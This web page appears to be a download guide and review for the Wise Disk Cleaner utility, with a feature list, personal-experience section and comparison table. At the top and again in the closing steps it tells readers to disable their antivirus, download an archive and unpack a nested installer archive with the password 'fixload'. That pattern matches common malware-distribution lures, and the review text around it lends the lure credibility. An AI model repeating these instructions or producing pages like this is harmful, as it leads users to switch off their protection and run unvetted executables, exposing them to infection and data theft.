
Wise Disk Cleaner: Step-by-Step Guide
Before installing the program, be sure to temporarily disable your antivirus!
This is necessary for the installation file to work correctly – the antivirus may mistakenly block the launch or delete parts of the program. After installation, do not forget to turn the protection back on.
Wise Disk Cleaner is a lightweight utility designed to tidy up temporary files, system caches, and digital clutter. If your computer feels sluggish, this program can help regain performance by removing what you no longer need. Below I’ll share how to install it, what it does, and my personal experience using it in real-life scenarios.
How to Extract/Install

After downloading, locate the installer file, usually named WDCSetup.exe. Double-click to launch. Follow the prompts—choose language, accept terms, and select an installation path. The process typically takes less than two minutes.
Possible Errors During Installation
- Insufficient Permissions: Run the installer as administrator if you face errors.
- Corrupt Download: If setup fails, redownload from the official source.
- Blocked by Antivirus: Temporarily disable or whitelist the installer.
How to Verify Successful Installation

Once installed, launch Wise Disk Cleaner from the Start Menu or desktop shortcut. The interface should display options like “Common Cleaner” and “Advanced Cleaner.” Run a quick scan to confirm functionality.
What Wise Disk Cleaner Does
Wise Disk Cleaner removes unnecessary files: temporary system data, browser caches, old logs, and more. This process reclaims storage space and can improve responsiveness. Key functions include:
- Common Cleaner: Quick cleanup for junk files.
- Advanced Cleaner: Deep scan of file types across drives.
- System Slimming: Optional removal of unused Windows components.
- Disk Defrag: Reorganizes fragmented files for better efficiency.
Personal Experience Using Wise Disk Cleaner
I initially installed Wise Disk Cleaner when my laptop began crawling after years of updates. My main goal was to free up disk space and trim down old system clutter.
Compared to alternatives like CCleaner, Wise Disk Cleaner felt lighter and easier to navigate. The interface is straightforward, and I didn’t feel overwhelmed by endless menus. The disk defrag feature was particularly useful when I tested it on a secondary HDD.
Pros: quick scans, simple interface, minimal system impact.
Cons: occasional false alarms from antivirus software, and the slimming option requires cautious use since it can remove Windows features you might actually need.
Comparison with Alternatives
Program | Pros | Cons |
---|---|---|
Wise Disk Cleaner | Lightweight, free, simple interface | Requires manual caution with slimming |
CCleaner | More advanced options, scheduling | Heavier, occasional ads |
BleachBit | Open source, customizable | Less user-friendly, steeper learning curve |
FAQ
Conclusion
Wise Disk Cleaner is a practical tool for tidying up unnecessary files and reclaiming valuable disk space. My own use has shown it to be lightweight, effective, and reliable—provided you double-check what you’re cleaning. It’s not a miracle solution, but it’s certainly a helpful addition to any PC maintenance routine.
Your antivirus may block or interfere with the installation process.
Please make sure to disable it temporarily before continuing.
Step 1: Download the archive using the button below.

Step 2: Extract the downloaded archive.

Step 3: Extract the installer archive (Password: fixload
)

Step 4: Run the installer and follow the on-screen instructions to install the program on your computer.